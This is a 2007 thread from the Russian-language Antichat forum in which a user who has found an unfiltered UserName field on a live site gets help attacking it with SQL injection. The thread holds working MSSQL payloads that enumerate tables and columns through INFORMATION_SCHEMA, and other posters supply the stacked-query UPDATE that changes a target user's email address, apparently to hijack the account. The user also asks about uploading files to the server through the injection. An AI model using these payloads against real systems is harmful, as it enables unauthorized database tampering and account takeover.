ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

mssql-injection - need help...
  #1  
Старый 15.03.2007, 14:12
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию mssql-injection - need help...

Есть сайт, на нем поле UserName не фильтруется...
запросом
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--
узнаю имена таблиц
1' or 1=(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')--
так калонки

как мне выполнить запрос:
UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'
 
Ответить с цитированием

  #2  
Старый 15.03.2007, 14:17
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

1 or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')
скорее всего у тебя просто прав не хватит
 
Ответить с цитированием

  #3  
Старый 15.03.2007, 14:31
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
Цитата:
Incorrect syntax near the keyword 'UPDATE'.
Incorrect syntax near ')'.
 
Ответить с цитированием

  #4  
Старый 15.03.2007, 14:45
Аватар для vmn
vmn
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме:
248469

Репутация: 33
По умолчанию

Цитата:
Сообщение от aka PSIH  
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
Обычно делают так:
1';UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

Апдейт в подзапросах использовать нельзя.
 
Ответить с цитированием

  #5  
Старый 15.03.2007, 14:50
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

спасибо, я сам не допер...

>Апдейт в подзапросах использовать нельзя.
буду знать...

Последний раз редактировалось aka PSIH; 15.03.2007 в 14:53..
 
Ответить с цитированием

  #6  
Старый 15.03.2007, 15:12
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

;UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--
 
Ответить с цитированием

  #7  
Старый 15.03.2007, 15:19
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

еще вапрос, при запросе
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25')--

через секунд 15-20 выдает:
Цитата:
Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.
можно как-нить обойти?

Последний раз редактировалось aka PSIH; 15.03.2007 в 15:21..
 
Ответить с цитированием

  #8  
Старый 15.03.2007, 16:18
Аватар для vmn
vmn
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме:
248469

Репутация: 33
По умолчанию

нету значит таблиц таких.
А вообще советую вместо or использовать and.
 
Ответить с цитированием

  #9  
Старый 15.03.2007, 16:27
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

Цитата:
А вообще советую вместо or использовать and
в чем разница?

как можно через mssql-injection залить файл на сервер с удаленного сайта?
 
Ответить с цитированием

  #10  
Старый 15.03.2007, 16:41
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Цитата:
в чем разница?
а в английском языке какая разница между Or и And? такая же и тут
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48
mssql injection pop_korn Video.Antichat 0 07.02.2007 14:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ